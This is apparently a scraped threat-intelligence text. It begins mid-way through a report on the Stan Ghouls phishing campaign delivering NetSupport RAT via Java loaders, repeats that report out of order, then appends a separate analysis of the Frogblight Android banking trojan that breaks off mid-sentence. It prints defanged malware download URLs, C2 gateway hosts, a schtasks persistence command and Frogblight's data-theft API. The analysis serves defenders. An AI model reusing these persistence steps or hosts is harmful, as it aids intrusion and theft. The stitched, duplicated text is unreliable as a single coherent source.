• Russian link (“- Материалы дела 09.12.2025 г.”): hxxps://my-xb[.]com/api/v2/documents/financial/Q4-2025/audited/consolidated/with-notes/financials/reports/annual/2025/tashkent/statistical-statements/

Both links lead to the exact same JAR file (MD5: 95db93454ec1d581311c832122d21b20).

It’s worth noting that these attackers are constantly updating their infrastructure, registering new domains for every new campaign. In the relatively short history of this threat, we’ve already mapped out over 35 domains tied to Stan Ghouls.

The malicious loader handles three main tasks:

1. Displaying a fake error message to trick the user into thinking the application can’t run. The message in the screenshot translates to: “This application cannot be run in your OS. Please use another device.”
   

   Fake error message

2. Checking that the number of previous RAT installation attempts is less than three. If the limit is reached, the loader terminates and throws the following error: “Urinishlar chegarasidan oshildi. Boshqa kompyuterni tekshiring.” This translates to: “Attempt limit reached. Try another computer.”
   

   The limitCheck procedure for verifying the number of RAT download attempts

3. Downloading a remote management utility from a malicious domain and saving it to the victim’s machine. Stan Ghouls loaders typically contain a list of several domains and will iterate through them until they find one that’s live.
   

   The performanceResourceUpdate procedure for downloading the remote management utility

The loader fetches the following files, which make up the components of the NetSupport RAT: PCICHEK.DLL, client32.exe, advpack.dll, msvcr100.dll, remcmdstub.exe, ir50_qcx.dll, client32.ini, AudioCapture.dll, kbdlk41a.dll, KBDSF.DLL, tcctl32.dll, HTCTL32.DLL, kbdibm02.DLL, kbd101c.DLL, kbd106n.dll, ir50_32.dll, nskbfltr.inf, NSM.lic, pcicapi.dll, PCICL32.dll, qwave.dll. This list is hardcoded in the malicious loader’s body. To ensure the download was successful, it checks for the presence of the client32.exe executable. If the file is found, the loader generates a NetSupport launch script (run.bat), drops it into the folder with the other files, and executes it:

The loader also ensures NetSupport persistence by adding it to startup using the following three methods:

1. It creates an autorun script named SoliqUZ_Run.bat and drops it into the Startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup):
   

   The generateAutorunScript procedure for creating the batch file and placing it in the Startup folder

2. It adds the run.bat file to the registry’s autorun key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run\malicious_key_name).
   

   The registryStartupAdd procedure for adding the RAT launch script to the registry autorun key

3. It creates a scheduled task to trigger run.bat using the following command:
   schtasks Create /TN "[malicious_task_name]" /TR "[path_to_run.bat]" /SC ONLOGON /RL LIMITED /F /RU "[%USERNAME%]"
   

   The installStartupTask procedure for creating a scheduled task to launch the NetSupport RAT (via run.bat)

Once the NetSupport RAT is downloaded, installed, and executed, the attackers gain total control over the victim’s machine. While we don’t have enough telemetry to say with 100% certainty what they do once they’re in, the heavy focus on finance-related organizations suggests that the group is primarily after its victims’ money. That said, we can’t rule out cyberespionage either.

Malicious utilities for targeting IoT infrastructure

Previous Stan Ghouls attacks targeting organizations in Kyrgyzstan, as documented by Group-IB researchers, featured a NetSupport RAT configuration file client32.ini with the MD5 hash cb9c28a4c6657ae5ea810020cb214ff0. While reports mention the Kyrgyzstan campaign kicked off in June 2025, Kaspersky solutions first flagged this exact config file on May 16, 2025. At that time, it contained the following NetSupport RAT command-and-control server info:

...
[HTTP]
CMPI=60
GatewayAddress=hgame33[.]com:443
GSK=FN:L?ADAFI:F?BCPGD;N>IAO9J>J@N
Port=443
SecondaryGateway=ravinads[.]com:443
SecondaryPort=443

At the time of our January 2026 investigation, our telemetry showed that the domain specified in that config, hgame33[.]com, was also hosting the following files:

• hxxp://www.hgame33[.]com/00101010101001/morte.spc
• hxxp://hgame33[.]com/00101010101001/debug
• hxxp://www.hgame33[.]com/00101010101001/morte.x86
• hxxp://www.hgame33[.]com/00101010101001/morte.mpsl
• hxxp://www.hgame33[.]com/00101010101001/morte.arm7
• hxxp://www.hgame33[.]com/00101010101001/morte.sh4
• hxxp://hgame33[.]com/00101010101001/morte.arm
• hxxp://hgame33[.]com/00101010101001/morte.i686
• hxxp://hgame33[.]com/00101010101001/morte.arc
• hxxp://hgame33[.]com/00101010101001/morte.arm5
• hxxp://hgame33[.]com/00101010101001/morte.arm6
• hxxp://www.hgame33[.]com/00101010101001/morte.m68k
• hxxp://www.hgame33[.]com/00101010101001/morte.ppc
• hxxp://www.hgame33[.]com/00101010101001/morte.x86_64
• hxxp://hgame33[.]com/00101010101001/morte.mips

All of these files belong to the infamous IoT malware named Mirai. Since they are sitting on a server tied to the Stan Ghouls’ campaign targeting Kyrgyzstan, we can hypothesize – with a low degree of confidence – that the group has expanded its toolkit to include IoT-based threats. However, it’s also possible it simply shared its infrastructure with other threat actors who were the ones actually wielding Mirai. This theory is backed up by the fact that the domain’s registration info was last updated on July 4, 2025, at 11:46:11 – well after Stan Ghouls’ activity in May and June.

Attribution

We attribute this campaign to the Stan Ghouls (Bloody Wolf) group with a high degree of confidence, based on the following similarities to the attackers’ previous campaigns:

1. Substantial code overlaps were found within the malicious loaders. For example:
   

   Code snippet from sample 1acd4592a4eb0c66642cc7b07213e9c9584c6140210779fbc9ebb76a90738d5e, the loader from the Group-IB report

   

   Code snippet from sample 95db93454ec1d581311c832122d21b20, the NetSupport loader described here

2. Decoy documents in both campaigns look identical.
   

   Decoy document 5d840b741d1061d51d9786f8009c37038c395c129bee608616740141f3b202bb from the campaign reported by Group-IB

   

   Decoy document 106911ba54f7e5e609c702504e69c89a used in the campaign described here

3. In both current and past campaigns, the attackers utilized loaders written in Java. Given that Java has fallen out of fashion with malicious loader authors in recent years, it serves as a distinct fingerprint for Stan Ghouls.

Victims

We identified approximately 50 victims of this campaign in Uzbekistan, alongside 10 in Russia and a handful of others in Kazakhstan, Turkey, Serbia, and Belarus (we suspect the infections in these last three countries were accidental). Nearly all phishing emails and decoy files in this campaign were written in Uzbek, which aligns with the group’s track record of leveraging the native languages of their target countries.

Most of the victims are tied to industrial manufacturing, finance, and IT. Furthermore, we observed infection attempts on devices within government organizations, logistics companies, medical facilities, and educational institutions.

It is worth noting that over 60 victims is quite a high headcount for a sophisticated campaign. This suggests the attackers have enough resources to maintain manual remote control over dozens of infected devices simultaneously.

Takeaways

In this post, we’ve broken down the recent campaign by the Stan Ghouls group. The attackers set their sights on organizations in industrial manufacturing, IT, and finance, primarily located in Uzbekistan. However, the ripple effect also reached Russia, Kazakhstan, and a few, likely accidental, victims elsewhere.

With over 60 targets hit, this is a remarkably high volume for a sophisticated targeted campaign. It points to the significant resources these actors are willing to pour into their operations. Interestingly, despite this, the group sticks to a familiar toolkit including the legitimate NetSupport remote management utility and their signature custom Java-based loader. The only thing they seem to keep updating is their infrastructure. For this specific campaign, they employed two new domains to house their malicious loader and one new domain dedicated to hosting NetSupport RAT files.

One curious discovery was the presence of Mirai files on a domain linked to the group’s previous campaigns. This might suggest Stan Ghouls are branching out into IoT malware, though it’s still too early to call it with total certainty.

We’re keeping a close watch on Stan Ghouls and will continue to keep our customers in the loop regarding the group’s latest moves. Kaspersky products provide robust protection against this threat at every stage of the attack lifecycle.

Indicators of compromise

* Additional IoCs and a YARA rule for detecting Stan Ghouls activity are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

PDF decoys

B4FF4AA3EBA9409F9F1A5210C95DC5C3
AF9321DDB4BEF0C3CD1FF3C7C786F0E2
056B75FE0D230E6FF53AC508E0F93CCB
DB84FEBFD85F1469C28B4ED70AC6A638
649C7CACDD545E30D015EDB9FCAB3A0C
BE0C87A83267F1CE13B3F75C78EAC295
78CB3ABD00A1975BEBEDA852B2450873
51703911DC437D4E3910CE7F866C970E
FA53B0FCEF08F8FF3FFDDFEE7F1F4F1A
79D0EEAFB30AA2BD4C261A51104F6ACC
8DA8F0339D17E2466B3D73236D18B835
299A7E3D6118AD91A9B6D37F94AC685B
62AFACC37B71D564D75A58FC161900C3
047A600E3AFBF4286175BADD4D88F131
ED0CCADA1FE1E13EF78553A48260D932
C363CD87178FD660C25CDD8D978685F6
61FF22BA4C3DF7AE4A936FCFDEB020EA
B51D9EDC1DC8B6200F260589A4300009
923557554730247D37E782DB3BEA365D
60C34AD7E1F183A973FB8EE29DC454E8
0CC80A24841401529EC9C6A845609775
0CE06C962E07E63D780E5C2777A661FC

Malicious loaders

1b740b17e53c4daeed45148bfbee4f14
3f99fed688c51977b122789a094fec2e
8b0bbe7dc960f7185c330baa3d9b214c
95db93454ec1d581311c832122d21b20
646a680856f837254e6e361857458e17
8064f7ac9a5aa845ded6a1100a1d5752
d0cf8946acd3d12df1e8ae4bb34f1a6e
db796d87acb7d980264fdcf5e94757f0
e3cb4dafa1fb596e1e34e4b139be1b05
e0023eb058b0c82585a7340b6ed4cc06
0bf01810201004dcc484b3396607a483
4C4FA06BD840405FBEC34FE49D759E8D
A539A07891A339479C596BABE3060EA6
b13f7ccbedfb71b0211c14afe0815b36
f14275f8f420afd0f9a62f3992860d68
3f41091afd6256701dd70ac20c1c79fe
5c4a57e2e40049f8e8a6a74aa8085c80
7e8feb501885eff246d4cb43c468b411
8aa104e64b00b049264dc1b01412e6d9
8c63818261735ddff2fe98b3ae23bf7d

Malicious domains

mysoliq-uz[.]com
my-xb[.]com
xarid-uz[.]com
ach-uz[.]com
soliq-uz[.]com
minjust-kg[.]com
esf-kg[.]com
taxnotice-kg[.]com
notice-kg[.]com
proauditkg[.]com
kgauditcheck[.]com
servicedoc-kg[.]com
auditnotice-kg[.]com
tax-kg[.]com
rouming-uz[.]com
audit-kg[.]com
kyrgyzstanreview[.]com
salyk-notofocations[.]com

Introduction

Stan Ghouls (also known as Bloody Wolf) is an cybercriminal group that has been launching targeted attacks against organizations in Russia, Kyrgyzstan, Kazakhstan, and Uzbekistan since at least 2023. These attackers primarily have their sights set on the manufacturing, finance, and IT sectors. Their campaigns are meticulously prepared and tailored to specific victims, featuring a signature toolkit of custom Java-based malware loaders and a sprawling infrastructure with resources dedicated to specific campaigns.

We continuously track Stan Ghouls’ activity, providing our clients with intel on their tactics, techniques, procedures, and latest campaigns. In this post, we share the results of our most recent deep dive into a campaign targeting Uzbekistan, where we identified roughly 50 victims. About 10 devices in Russia were also hit, with a handful of others scattered across Kazakhstan, Turkey, Serbia, and Belarus (though those last three were likely just collateral damage).

During our investigation, we spotted shifts in the attackers’ infrastructure – specifically, a batch of new domains. We also uncovered evidence suggesting that Stan Ghouls may have added IoT-focused malware to their arsenal.

Technical details

Threat evolution

Stan Ghouls relies on phishing emails packed with malicious PDF attachments as their initial entry point. Historically, the group’s weapon of choice was the remote access Trojan (RAT) STRRAT, also known as Strigoi Master. Last year, however, they switched strategies, opting to misuse legitimate software, NetSupport, to maintain control over infected machines.

Given Stan Ghouls’ targeting of financial institutions, we believe their primary motive is financial gain. That said, their heavy use of RATs may also hint at cyberespionage.

Like any other organized cybercrime groups, Stan Ghouls frequently refreshes its infrastructure. To track their campaigns effectively, you have to continuously analyze their activity.

Initial infection vector

As we’ve mentioned, Stan Ghouls’ primary – and currently only – delivery method is spear phishing. Specifically, they favor emails loaded with malicious PDF attachments. This has been backed up by research from several of our industry peers (1, 2, 3). Interestingly, the attackers prefer to use local languages rather than opting for international mainstays like Russian or English. Below is an example of an email spotted in a previous campaign targeting users in Kyrgyzstan.

The email is written in Kyrgyz and translates to: “The service has contacted you. Materials for review are attached. Sincerely”.

The attachment was a malicious PDF file titled “Постановление_Районный_суд_Кчрм_3566_28-01-25_OL4_scan.pdf” (the title, written in Russian, posed it as an order of district court).

During the most recent campaign, which primarily targeted victims in Uzbekistan, the attackers deployed spear-phishing emails written in Uzbek:

The email text can be translated as follows:

[redacted] AKMALZHON IBROHIMOVICH

You will receive a court notice. Application for retrial. The case is under review by the district court. Judicial Service.

Mustaqillik Street, 147 Uraboshi Village, Quva District.

The attachment, named E-SUD_705306256_ljro_varaqasi.pdf (MD5: 7556e2f5a8f7d7531f28508f718cb83d), is a standard one-page decoy PDF:

Notice that the attackers claim that the “case materials” (which are actually the malicious loader) can only be opened using the Java Runtime Environment.

They even helpfully provide a link for the victim to download and install it from the official website.

The malicious loader

The decoy document contains identical text in both Russian and Uzbek, featuring two links that point to the malicious loader:

• Uzbek link (“- Ish materiallari 09.12.2025 y”): hxxps://mysoliq-uz[.]com/api/v2/documents/financial/Q4-2025/audited/consolidated/with-notes/financials/reports/annual/2025/tashkent/statistical-statements/
• Russian link (“- Материалы дела 09.12.2025 г.”): hxxps://my-xb[.]com/api/v2/documents/financial/Q4-2025/audited/consolidated/with-notes/financials/reports/annual/2025/tashkent/statistical-statements/

Both links lead to the exact same JAR file (MD5: 95db93454ec1d581311c832122d21b20).

It’s worth noting that these attackers are constantly updating their infrastructure, registering new domains for every new campaign. In the relatively short history of this threat, we’ve already mapped out over 35 domains tied to Stan Ghouls.

The malicious loader handles three main tasks:

1. Displaying a fake error message to trick the user into thinking the application can’t run. The message in the screenshot translates to: “This application cannot be run in your OS. Please use another device.”
   

   Fake error message

2. Checking that the number of previous RAT installation attempts is less than three. If the limit is reached, the loader terminates and throws the following error: “Urinishlar chegarasidan oshildi. Boshqa kompyuterni tekshiring.” This translates to: “Attempt limit reached. Try another computer.”
   

   The limitCheck procedure for verifying the number of RAT download attempts

3. Downloading a remote management utility from a malicious domain and saving it to the victim’s machine. Stan Ghouls loaders typically contain a list of several domains and will iterate through them until they find one that’s live.
   

   The performanceResourceUpdate procedure for downloading the remote management utility

The loader fetches the following files, which make up the components of the NetSupport RAT: PCICHEK.DLL, client32.exe, advpack.dll, msvcr100.dll, remcmdstub.exe, ir50_qcx.dll, client32.ini, AudioCapture.dll, kbdlk41a.dll, KBDSF.DLL, tcctl32.dll, HTCTL32.DLL, kbdibm02.DLL, kbd101c.DLL, kbd106n.dll, ir50_32.dll, nskbfltr.inf, NSM.lic, pcicapi.dll, PCICL32.dll, qwave.dll. This list is hardcoded in the malicious loader’s body. To ensure the download was successful, it checks for the presence of the client32.exe executable. If the file is found, the loader generates a NetSupport launch script (run.bat), drops it into the folder with the other files, and executes it:

The loader also ensures NetSupport persistence by adding it to startup using the following three methods:

1. It creates an autorun script named SoliqUZ_Run.bat and drops it into the Startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup):
   

   The generateAutorunScript procedure for creating the batch file and placing it in the Startup folder

2. It adds the run.bat file to the registry’s autorun key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run\malicious_key_name).
   

   The registryStartupAdd procedure for adding the RAT launch script to the registry autorun key

3. It creates a scheduled task to trigger run.bat using the following command:
   schtasks Create /TN "[malicious_task_name]" /TR "[path_to_run.bat]" /SC ONLOGON /RL LIMITED /F /RU "[%USERNAME%]"
   

   The installStartupTask procedure for creating a scheduled task to launch the NetSupport RAT (via run.bat)

Once the NetSupport RAT is downloaded, installed, and executed, the attackers gain total control over the victim’s machine. While we don’t have enough telemetry to say with 100% certainty what they do once they’re in, the heavy focus on finance-related organizations suggests that the group is primarily after its victims’ money. That said, we can’t rule out cyberespionage either.

Malicious utilities for targeting IoT infrastructure

Previous Stan Ghouls attacks targeting organizations in Kyrgyzstan, as documented by Group-IB researchers, featured a NetSupport RAT configuration file client32.ini with the MD5 hash cb9c28a4c6657ae5ea810020cb214ff0. While reports mention the Kyrgyzstan campaign kicked off in June 2025, Kaspersky solutions first flagged this exact config file on May 16, 2025. At that time, it contained the following NetSupport RAT command-and-control server info:

...
[HTTP]
CMPI=60
GatewayAddress=hgame33[.]com:443
GSK=FN:L?ADAFI:F?BCPGD;N>IAO9J>J@N
Port=443
SecondaryGateway=ravinads[.]com:443
SecondaryPort=443

At the time of our January 2026 investigation, our telemetry showed that the domain specified in that config, hgame33[.]com, was also hosting the following files:

• hxxp://www.hgame33[.]com/00101010101001/morte.spc
• hxxp://hgame33[.]com/00101010101001/debug
• hxxp://www.hgame33[.]com/00101010101001/morte.x86
• hxxp://www.hgame33[.]com/00101010101001/morte.mpsl
• hxxp://www.hgame33[.]com/00101010101001/morte.arm7
• hxxp://www.hgame33[.]com/00101010101001/morte.sh4
• hxxp://hgame33[.]com/00101010101001/morte.arm
• hxxp://hgame33[.]com/00101010101001/morte.i686
• hxxp://hgame33[.]com/00101010101001/morte.arc
• hxxp://hgame33[.]com/00101010101001/morte.arm5
• hxxp://hgame33[.]com/00101010101001/morte.arm6
• hxxp://www.hgame33[.]com/00101010101001/morte.m68k
• hxxp://www.hgame33[.]com/00101010101001/morte.ppc
• hxxp://www.hgame33[.]com/00101010101001/morte.x86_64
• hxxp://hgame33[.]com/00101010101001/morte.mips

All of these files belong to the infamous IoT malware named Mirai. Since they are sitting on a server tied to the Stan Ghouls’ campaign targeting Kyrgyzstan, we can hypothesize – with a low degree of confidence – that the group has expanded its toolkit to include IoT-based threats. However, it’s also possible it simply shared its infrastructure with other threat actors who were the ones actually wielding Mirai. This theory is backed up by the fact that the domain’s registration info was last updated on July 4, 2025, at 11:46:11 – well after Stan Ghouls’ activity in May and June.

Attribution

We attribute this campaign to the Stan Ghouls (Bloody Wolf) group with a high degree of confidence, based on the following similarities to the attackers’ previous campaigns:

1. Substantial code overlaps were found within the malicious loaders. For example:
   

   Code snippet from sample 1acd4592a4eb0c66642cc7b07213e9c9584c6140210779fbc9ebb76a90738d5e, the loader from the Group-IB report

   

   Code snippet from sample 95db93454ec1d581311c832122d21b20, the NetSupport loader described here

2. Decoy documents in both campaigns look identical.
   

   Decoy document 5d840b741d1061d51d9786f8009c37038c395c129bee608616740141f3b202bb from the campaign reported by Group-IB

   

   Decoy document 106911ba54f7e5e609c702504e69c89a used in the campaign described here

3. In both current and past campaigns, the attackers utilized loaders written in Java. Given that Java has fallen out of fashion with malicious loader authors in recent years, it serves as a distinct fingerprint for Stan Ghouls.

Victims

We identified approximately 50 victims of this campaign in Uzbekistan, alongside 10 in Russia and a handful of others in Kazakhstan, Turkey, Serbia, and Belarus (we suspect the infections in these last three countries were accidental). Nearly all phishing emails and decoy files in this campaign were written in Uzbek, which aligns with the group’s track record of leveraging the native languages of their target countries.

Most of the victims are tied to industrial manufacturing, finance, and IT. Furthermore, we observed infection attempts on devices within government organizations, logistics companies, medical facilities, and educational institutions.

It is worth noting that over 60 victims is quite a high headcount for a sophisticated campaign. This suggests the attackers have enough resources to maintain manual remote control over dozens of infected devices simultaneously.

Takeaways

In this post, we’ve broken down the recent campaign by the Stan Ghouls group. The attackers set their sights on organizations in industrial manufacturing, IT, and finance, primarily located in Uzbekistan. However, the ripple effect also reached Russia, Kazakhstan, and a few, likely accidental, victims elsewhere.

With over 60 targets hit, this is a remarkably high volume for a sophisticated targeted campaign. It points to the significant resources these actors are willing to pour into their operations. Interestingly, despite this, the group sticks to a familiar toolkit including the legitimate NetSupport remote management utility and their signature custom Java-based loader. The only thing they seem to keep updating is their infrastructure. For this specific campaign, they employed two new domains to house their malicious loader and one new domain dedicated to hosting NetSupport RAT files.

One curious discovery was the presence of Mirai files on a domain linked to the group’s previous campaigns. This might suggest Stan Ghouls are branching out into IoT malware, though it’s still too early to call it with total certainty.

We’re keeping a close watch on Stan Ghouls and will continue to keep our customers in the loop regarding the group’s latest moves. Kaspersky products provide robust protection against this threat at every stage of the attack lifecycle.

Indicators of compromise

* Additional IoCs and a YARA rule for detecting Stan Ghouls activity are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

PDF decoys

B4FF4AA3EBA9409F9F1A5210C95DC5C3
AF9321DDB4BEF0C3CD1FF3C7C786F0E2
056B75FE0D230E6FF53AC508E0F93CCB
DB84FEBFD85F1469C28B4ED70AC6A638
649C7CACDD545E30D015EDB9FCAB3A0C
BE0C87A83267F1CE13B3F75C78EAC295
78CB3ABD00A1975BEBEDA852B2450873
51703911DC437D4E3910CE7F866C970E
FA53B0FCEF08F8FF3FFDDFEE7F1F4F1A
79D0EEAFB30AA2BD4C261A51104F6ACC
8DA8F0339D17E2466B3D73236D18B835
299A7E3D6118AD91A9B6D37F94AC685B
62AFACC37B71D564D75A58FC161900C3
047A600E3AFBF4286175BADD4D88F131
ED0CCADA1FE1E13EF78553A48260D932
C363CD87178FD660C25CDD8D978685F6
61FF22BA4C3DF7AE4A936FCFDEB020EA
B51D9EDC1DC8B6200F260589A4300009
923557554730247D37E782DB3BEA365D
60C34AD7E1F183A973FB8EE29DC454E8
0CC80A24841401529EC9C6A845609775
0CE06C962E07E63D780E5C2777A661FC

Malicious loaders

1b740b17e53c4daeed45148bfbee4f14
3f99fed688c51977b122789a094fec2e
8b0bbe7dc960f7185c330baa3d9b214c
95db93454ec1d581311c832122d21b20
646a680856f837254e6e361857458e17
8064f7ac9a5aa845ded6a1100a1d5752
d0cf8946acd3d12df1e8ae4bb34f1a6e
db796d87acb7d980264fdcf5e94757f0
e3cb4dafa1fb596e1e34e4b139be1b05
e0023eb058b0c82585a7340b6ed4cc06
0bf01810201004dcc484b3396607a483
4C4FA06BD840405FBEC34FE49D759E8D
A539A07891A339479C596BABE3060EA6
b13f7ccbedfb71b0211c14afe0815b36
f14275f8f420afd0f9a62f3992860d68
3f41091afd6256701dd70ac20c1c79fe
5c4a57e2e40049f8e8a6a74aa8085c80
7e8feb501885eff246d4cb43c468b411
8aa104e64b00b049264dc1b01412e6d9
8c63818261735ddff2fe98b3ae23bf7d

Malicious domains

mysoliq-uz[.]com
my-xb[.]com
xarid-uz[.]com
ach-uz[.]com
soliq-uz[.]com
minjust-kg[.]com
esf-kg[.]com
taxnotice-kg[.]com
notice-kg[.]com
proauditkg[.]com
kgauditcheck[.]com
servicedoc-kg[.]com
auditnotice-kg[.]com
tax-kg[.]com
rouming-uz[.]com
audit-kg[.]com
kyrgyzstanreview[.]com
salyk-notofocations[.]com

In August 2025, we discovered a campaign targeting individuals in Turkey with a new Android banking Trojan we dubbed “Frogblight”. Initially, the malware was disguised as an app for accessing court case files via an official government webpage. Later, more universal disguises appeared, such as the Chrome browser.

Frogblight can use official government websites as an intermediary step to steal banking credentials. Moreover, it has spyware functionality, such as capabilities to collect SMS messages, a list of installed apps on the device and device filesystem information. It can also send arbitrary SMS messages.

Another interesting characteristic of Frogblight is that we’ve seen it updated with new features throughout September. This may indicate that a feature-rich malware app for Android is being developed, which might be distributed under the MaaS model.

This threat is detected by Kaspersky products as HEUR:Trojan-Banker.AndroidOS.Frogblight.*, HEUR:Trojan-Banker.AndroidOS.Agent.eq, HEUR:Trojan-Banker.AndroidOS.Agent.ep, HEUR:Trojan-Spy.AndroidOS.SmsThief.de.

Technical details

Background

While performing an analysis of mobile malware we receive from various sources, we discovered several samples belonging to a new malware family. Although these samples appeared to be still under development, they already contained a lot of functionality that allowed this family to be classified as a banking Trojan. As new versions of this malware continued to appear, we began monitoring its development. Moreover, we managed to discover its control panel and based on the “fr0g” name shown there, we dubbed this family “Frogblight”.

Initial infection

We believe that smishing is one of the distribution vectors for Frogblight, and that the users had to install the malware themselves. On the internet, we found complaints from Turkish users about phishing SMS messages convincing users that they were involved in a court case and containing links to download malware. versions of Frogblight, including the very first ones, were disguised as an app for accessing court case files via an official government webpage and were named the same as the files for downloading from the links mentioned above.

While looking for online mentions of the names used by the malware, we discovered one of the phishing websites distributing Frogblight, which disguises itself as a website for viewing a court file.

We were able to open the admin panel of this website, where it was possible to view statistics on Frogblight malware downloads. However, the counter had not been fully implemented and the threat actor could only view the statistics for their own downloads.

Additionally, we found the source code of this phishing website available in a public GitHub repository. Judging by its description, it is adapted for fast deployment to Vercel, a platform for hosting web apps.

App features

As already mentioned, Frogblight was initially disguised as an app for accessing court case files via an official government webpage. Let’s look at one of the samples using this disguise (9dac23203c12abd60d03e3d26d372253). For analysis, we selected an early sample, but not the first one discovered, in order to demonstrate more complete Frogblight functionality.

After starting, the app prompts the victim to grant permissions to send and read SMS messages, and to read from and write to the device’s storage, allegedly needed to show a court file related to the user.

The full list of declared permissions in the app manifest file is shown below:

• MANAGE_EXTERNAL_STORAGE
• READ_EXTERNAL_STORAGE
• WRITE_EXTERNAL_STORAGE
• READ_SMS
• RECEIVE_SMS
• SEND_SMS
• WRITE_SMS
• RECEIVE_BOOT_COMPLETED
• INTERNET
• QUERY_ALL_PACKAGES
• BIND_ACCESSIBILITY_SERVICE
• DISABLE_KEYGUARD
• FOREGROUND_SERVICE
• FOREGROUND_SERVICE_DATA_SYNC
• POST_NOTIFICATIONS
• QUICKBOOT_POWERON
• RECEIVE_MMS
• RECEIVE_WAP_PUSH
• REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
• SCHEDULE_EXACT_ALARM
• USE_EXACT_ALARM
• VIBRATE
• WAKE_LOCK
• ACCESS_NETWORK_STATE
• READ_PHONE_STATE

After all required permissions are granted, the malware opens the official government webpage for accessing court case files in WebView, prompting the victim to sign in. There are different sign-in options, one of them via online banking. If the user chooses this method, they are prompted to click on a bank whose online banking app they use and fill out the sign-in form on the bank’s official website. This is what Frogblight is after, so it waits two seconds, then opens the online banking sign-in method regardless of the user’s choice. For each webpage that has finished loading in WebView, Frogblight injects JavaScript code allowing it to capture user input and send it to the C2 via a REST API.

The malware also changes its label to “Davalarım” if the Android version is newer than 12; otherwise it hides the icon.

The app icon before (left) and after launching (right)
In the sample we review in this section, Frogblight uses a REST API for C2 communication, implemented using the Retrofit library. The malicious app pings the C2 server every two seconds in foreground, and if no error is returned, it calls the REST API client methods fetchOutbox and getFileCommands. Other methods are called when specific events occur, for example, after the device screen is turned on, the com.capcuttup.refresh.PersistentService foreground service is launched, or an SMS is received. The full list of all REST API client methods with parameters and descriptions is shown below.

REST API client method	Description	Parameters
fetchOutbox	Request message content to be sent via SMS or displayed in a notification	device_id: unique Android device ID
ackOutbox	Send the results of processing a message received after calling the API method fetchOutbox	device_id: unique Android device ID msg_id: message ID status: message processing status error: message processing error
getAllPackages	Request the names of app packages whose launch should open a website in WebView to capture user input data	action: same as the API method name
getPackageUrl	Request the website URL that will be opened in WebView when the app with the specified package name is launched	action: same as the API method name package: the package name of the target app
getFileCommands	Request commands for file operations Available commands: ●       download: upload the target file to the C2 ●       generate_thumbnails: generate thumbnails from the image files in the target directory and upload them to the C2 ●       list: send information about all files in the target directory to the C2 ●       thumbnail: generate a thumbnail from the target image file and upload it to the C2	device_id: unique Android device ID
pingDevice	Check the C2 connection	device_id: unique Android device ID
reportHijackSuccess	Send captured user input data from the website opened in a WebView when the app with the specified package name is launched	action: same as the API method name package: the package name of the target app data: captured user input data
saveAppList	Send information about the apps installed on the device	device_id: unique Android device ID app_list: a list of apps installed on the device app_count: a count of apps installed on the device
saveInjection	Send captured user input data from the website opened in a WebView. If it was not opened following the launch of the target app, the app_name parameter is determined based on the opened URL	device_id: unique Android device ID app_name: the package name of the target app form_data: captured user input data
savePermission	Unused but presumably needed for sending information about permissions	device_id: unique Android device ID permission_type: permission type status: permission status
sendSms	Send information about an SMS message from the device	device_id: unique Android device ID sender: the sender’s/recipient’s phone number message: message text timestamp: received/sent time type: message type (inbox/sent)
sendTelegramMessage	Send captured user input data from the webpages opened by Frogblight in WebView	device_id: unique Android device ID url: website URL title: website page title input_type: the type of user input data input_value: user input data final_value: user input data with additional information timestamp: the time of data capture ip_address: user IP address sms_permission: whether SMS permission is granted file_manager_permission: whether file access permission is granted
updateDevice	Send information about the device	device_id: unique Android device ID model: device manufacturer and model android_version: Android version phone_number: user phone number battery: current battery level charging: device charging status screen_status: screen on/off ip_address: user IP address sms_permission: whether SMS permission is granted file_manager_permission: whether file access permission is granted
updatePermissionStatus	Send information about permissions	device_id: unique Android device ID permission_type: permission type status: permission status timestamp: current time
uploadBatchThumbnails	Upload thumbnails to the C2	device_id: unique Android device ID thumbnails: thumbnails
uploadFile	Upload a file to the C2	device_id: unique Android device ID file_path: file path download_id: the file ID on the C2 The file itself is sent as an unnamed parameter
uploadFileList	Send information about all files in the target directory	device_id: unique Android device ID path: directory path file_list: information about the files in the target directory
uploadFileListLog	Send information about all files in the target directory to an endpoint different from uploadFileList	device_id: unique Android device ID path: directory path file_list: information about the files in the target directory
uploadThumbnailLog	Unused but presumably needed for uploading thumbnails to an endpoint different from uploadBatchThumbnails	device_id: unique Android device ID thumbnails: thumbnails

Remote device control, persistence, and protection against deletion

The app includes several classes to provide the threat actor with remote access to the infected device, gain persistence, and protect the malicious app from being deleted.

• capcuttup.refresh.AccessibilityAutoClickService
  This is intended to prevent removal of the app and to open websites specified by the threat actor in WebView upon target apps startup. It is present in the sample we review, but is no longer in use and deleted in further versions.
• capcuttup.refresh.PersistentService
  This is a service whose main purpose is to interact with the C2 and to make malicious tasks persistent.
• capcuttup.refresh.BootReceiver
  This is a broadcast receiver responsible for setting up the persistence mechanisms, such as job scheduling and setting alarms, after device boot completion.

Further development

In later versions, new functionality was added, and some of the more recent Frogblight variants disguised themselves as the Chrome browser. Let’s look at one of the fake Chrome samples (d7d15e02a9cd94c8ab00c043aef55aff).

In this sample, new REST API client methods have been added for interacting with the C2.

REST API client method	Description	Parameters
getContactCommands	Get commands to perform actions with contacts Available commands: ●       ADD_CONTACT: add a contact to the user device ●       DELETE_CONTACT: delete a contact from the user device ●       EDIT_CONTACT: edit a contact on the user device	device_id: unique Android device ID
sendCallLogs	Send call logs to the C2	device_id: unique Android device ID call_logs: call log data
sendNotificationLogs	Send notifications log to the C2. Not fully implemented in this sample, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this API method	action: same as the API method name notifications: notification log data

Also, the threat actor had implemented a custom input method for recording keystrokes to a file using the com.puzzlesnap.quickgame.CustomKeyboardService service.

Another Frogblight sample we observed trying to avoid emulators and using geofencing techniques is 115fbdc312edd4696d6330a62c181f35. In this sample, Frogblight checks the environment (for example, device model) and shuts down if it detects an emulator or if the device is located in the United States.

Later on, the threat actor decided to start using a web socket instead of the REST API. Let’s see an example of this in one of the recent samples (08a3b1fb2d1abbdbdd60feb8411a12c7). This sample is disguised as an app for receiving social support via an official government webpage. The feature set of this sample is very similar to the previous ones, with several new capabilities added. Commands are transmitted over a web socket using the JSON format. A command template is shown below:

{
    "id": <command ID>,
    "command_type": <command name>
    "command_data": <command data>
